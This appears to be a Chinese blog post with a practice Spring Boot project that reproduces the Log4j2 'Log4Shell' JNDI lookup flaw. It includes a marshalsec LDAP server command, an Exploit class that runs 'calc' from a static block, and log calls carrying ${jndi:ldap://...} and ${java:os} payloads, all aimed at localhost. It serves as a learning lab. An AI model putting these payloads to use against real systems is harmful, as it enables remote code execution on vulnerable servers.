简单spring boot项目,之前练习的,现在好像没有达到效果

  1. 简单的springboot项目 访问 http:localhost:8080 404就是启动成功了
  2. java调用命令行打开电脑计算器
  3. TODO 日志那部分有点问题,没有达到预期

spring boot 项目启动类

java 复制代码
package com.log4j2test;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Log4j2Application {

    public static void main(String[] args) {
        SpringApplication.run(Log4j2Application.class, args);
    }

}

一些日志测试的demo

打开电脑计算器

java 复制代码
package com.log4j2test.slf4j;

/**
 * @author
 * @data 2021/12/20
 * @time 9:58
 * @Description  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888
 */
public class Exploit {

    /**
     * 服务器代码
     */
    static {
        System.err.println("Pwned");

        try {
            String calcStr = "calc";
            Runtime.getRuntime().exec(calcStr);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
}

测试日志并且调用打开电脑计算器

java 复制代码
public class LogTest {

    public static final Logger logger = LoggerFactory.getLogger(LogTest.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:8888/Exploit}");
        Exploit exploit =new Exploit();
        System.out.println(exploit);
    }
}

controller 这个没有达到预期

java 复制代码
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;

/**
 * @author
 * @data 2021/12/20
 * @time 10:02
 * @Description
 */
@Controller
public class TestController {

    public static final Logger logger = LoggerFactory.getLogger(LogTest.class);
    @PostMapping("/slf4j/hello")
    public void hello(){

        // 若输出 Java OS系统版本,则说明log4j将${}中的内容当作命令来执行了,不符合预期
        // 将log4j-core排除后运行该代码,结果则是当做字符串输出,符合预期结果
        logger.error("java:os : ${java:os}");
    }
}

一个空的application.properties

一个空的spring boot 测试类

java 复制代码
package com.log4j2test;

import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;

@SpringBootTest
class Log4j2ApplicationTests {

    @Test
    void contextLoads() {
    }

}
相关推荐
2501_9475758013 小时前
计算机毕业设计之jsp开山车行二手车交易系统
java·开发语言·hadoop·python·信息可视化·django·课程设计
骑士雄师13 小时前
java面试题 4:鉴权
java·开发语言
独孤九剑打醒他14 小时前
双层Master-Worker软硬协同调度架构:从根源解决分布式数据一致性难题
后端·嵌入式硬件·硬件架构·硬件工程
帅次15 小时前
Android 高级工程师面试:Java 基础知识 近1年高频追问 22 题
android·java·面试
蓝胖的四次元口袋15 小时前
Java集合(4)
java·哈希算法
2501_9481069115 小时前
计算机毕业设计之基于jsp教科研信息共享系统
java·开发语言·信息可视化·spark·课程设计
TanYYF15 小时前
spring ai入门教程二
java·人工智能·spring
SeeYa-J15 小时前
Spring IOC(Inversion of Control)
java·spring·rpc
宠友信息16 小时前
多端数据互通场景下Spring Boot仿小红书源码结构设计
数据库·spring boot·redis·缓存·架构
不会c+16 小时前
02-SpringBoot配置文件
java·spring boot·后端